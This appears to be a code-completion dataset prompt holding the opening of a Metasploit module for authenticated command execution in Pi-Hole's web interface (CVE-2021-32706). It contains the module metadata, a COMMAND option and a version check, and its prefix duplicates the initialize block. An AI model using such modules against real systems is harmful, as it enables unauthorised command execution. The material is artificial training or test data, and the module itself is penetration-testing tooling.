You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data.
    Metadata details:
    filename: pihole_domains_api_exec.rb
    path of file: ./repos/metasploit-framework/modules/auxiliary/admin/http
    
    the code of the file until where you have to start completion: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HTTP::Pihole

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Pi-Hole Top Domains API Authenticated Exec',
        'Description' => %q{
          This exploits a command execution in Pi-Hole Web Interface <= 5.5.
          The Settings > API/Web inetrace page contains the field
          Top Domains/Top Advertisers which is validated by a regex which does not properly
          filter system commands, which can then be executed by calling t
    
  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Pi-Hole Top Domains API Authenticated Exec',
        'Description' => %q{
          This exploits a command execution in Pi-Hole Web Interface <= 5.5.
          The Settings > API/Web inetrace page contains the field
          Top Domains/Top Advertisers which is validated by a regex which does not properly
          filter system commands, which can then be executed by calling the gravity
          functionality.  However, the regex only allows a-z, 0-9, _.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'h00die', # msf module
          'SchneiderSec' # original PoC, discovery
        ],
        'References' => [
          ['URL', 'https://github.com/pi-hole/AdminLTE/security/advisories/GHSA-5cm9-6p3m-v259'],
          ['CVE', '2021-32706']
        ],
        'Targets' => [
          [ 'Automatic Target', {}]
        ],
        'DisclosureDate' => '2021-08-04',
        'Privileged' => true,
        'Platform' => ['php'],
        'Arch' => ARCH_PHP,
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [],
          'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES, ARTIFACTS_ON_DISK]
        }
      )
    )
    register_options(
      [
        Opt::RPORT(80),
        OptString.new('TARGETURI', [ true, 'The URI of the Pi-Hole Website', '/']),
        OptString.new('COMMAND', [ true, 'The command to execute. Only 0-9, a-z, _ are allowed.', 'pwd']),
      ]
    )
  end

  def check
    begin
      _version, web_version, _ftl = get_versions

      if web_version.nil?
        print_error("#{peer} - Could not connect to web service - no response or non-200 HTTP code")
        return Exploit::CheckCode::Unknown
      end

      if web_version && Rex::Version.new(web_version) <= Rex::Version.new('5.6')
        vprint_good("Web Interface Version Detected: #{web_version}")
        return Exploit::CheckCode::Appears
      else
        vprint_bad("Web Interface Version Detected: #{web_version}")
        return Exploit::CheckCode::Safe
      end